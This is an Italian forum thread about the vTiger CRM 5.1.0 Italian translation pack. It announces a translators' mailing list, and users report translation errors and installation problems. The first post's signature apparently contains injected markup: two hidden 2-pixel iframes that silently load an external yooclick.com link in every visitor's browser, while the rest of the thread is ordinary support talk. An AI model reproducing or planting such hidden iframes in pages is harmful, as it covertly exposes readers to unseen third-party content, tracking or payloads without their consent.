Traduzione in Italiano versione 5.1.0 by vtiger-italia.net

edited July 2012 in Vote Up0Vote Down
Ciao a tutti,
è nata una mailing list che ha l'obiettivo di curare la traduzione in
Italiano di vTiger.

Chiunque sia interessato e soprattutto possa contribuire ai lavori può
iscriversi accedendo a questo indirizzo:

<!-- m --><a class="postlink" href="http://vtiger-italia.net/mailman/listinfo/traduttori_vtiger-italia.net">http://vtiger-italia.net/mailman/listin ... italia.net</a><!-- m -->

Vi aspettiamo numerosi
- Pierluigi <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>; <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>;
«1

Comments

  • 19 Comments sorted by Votes Date Added
  • ho scoperto un bug.

    si verifica solo se seleziono la lingua italiana (scaricata da vtiger-italia.net). con l'inglese tutto funziona correttamente.

    nella modifica delle picklist del prodotto non riesco a rimuovere né a modificare il campo "applicazioni crm" dalla picklist categoria.

    se avete bisogno di ulteriori dettagli contattatemi pure.

    saluti
  • grazie... avevo già risolto con la lingua inglese...
    con l'admin sono più abituato ad usare l'inglese <!-- s;) --><img src="{smilies_path}/icon_wink.gif" alt=";)" title="wink" /><!-- s;) -->

    già che ci sono segnalo un altro errore di traduzione.

    nella scheda "prodotto - ulteriori informazioni" vengono (erroneamente) chiamati ordini di vendita anche gli ordini di acquisto.

    ho provato a dare un'occhiata veloce ai file di traduzione, ma non ho trovato nulla <!-- s:( --><img src="{smilies_path}/icon_sad.gif" alt=":(" title="sad" /><!-- s:( -->

    è un errore presente anche nella 5.0.4
  • bhè, grazie a voi... anzi se dovete tradurre qualcosa posso aiutarvi <!-- s;) --><img src="{smilies_path}/icon_wink.gif" alt=";)" title="wink" /><!-- s;) -->
  • ottimo
    grazie a nome di tutti
  • ciao a tutti,

    usando il language pack italiano per la versione rc sulla homepage non ho la voce di dropdown per l'italiano. nella config.php.inc ho messo
    $languages = array&#40;'it_it'=&gt;'italiano','en_us'=&gt;'us english',&#41;;
    $default_language = 'it_it';
    
    la pagina di login viene visualizzata correttamente in italiano ma non riesco di scegliere dalla drop down.

    ciao
    neppoz
  • ciao,

    infatti, ho istallato come modulo adesso va. prima avevo solo scompattato lo zip.

    grazie
    neppoz
  • ciao carloz,
    ho appena iniziato ad usare vtiger. ho istallato l'outgoing mail setting.. ho provato ad usarlo e funziona. (per me è tanto!). visto però che devo obbligatoriamente usare la versione in italiano, ho scaricato la it_it.vtiger510ita e poi altri 2 (credo) zip per questa traduzione. poi ho letto qui e devo istallare il modulo.... premetto di averlo decompattato nella cartella principale vtiger.. inosmma credo di avere dei doppioni un po' ovunque... siccome ho anche il dreamweaver ho modificato anche il php come da suggerimenti. non mi funziona. sono una frana! come faccio?? <!-- s:-) --><img src="{smilies_path}/icon_smile.gif" alt=":-)" title="smile" /><!-- s:-) -->
  • grazie carloz!
    ci sono riuscita!!! allora, ci risentiamo tra un po' quando avrò bisogno di altri aiuti!
    thanks again!
    (anzi, potrei anche partecipare alla traduzione ? ho provato il link ma non funziona. ce n'è un altro?)
    ciao
  • ho trovato la versione italiana di vtiger-italia-net piena di mancanze.
    alcune voci e una traduzione non sempre consona.
    es:
    lbl_enable="non consentito" anziche lbl_enable="abilitato"
    una virgola mancante..non ricordo dove e altre piccole cose.
    mi ha fatto impazzire per trovare l'errore.
    sembra che manchi la traduzione nella directory /cron anche se non so se serve.

    quella presa da vtiger.it sembra piu' completa (anche se in apparenza sembrano uguali).premetto che non l'ho controllata..

    domanda:
    perche' togliete i commenti e avete spostato le voci rispetto all'originale in inglese?

    non sarebbe meglio mantenere la struttura per una piu' facile comparazione (e una futura correzione)? potreste inoltre semplificare la traduzione ai volontarii.
  • concordo,
    mantenere una traduzione così è impossibile, dovremmo organizzarci meglio ed avere uno standard da seguire!
    io sto rifacendo molte cose a mano per mettere ordine...
Sign In or Register to comment.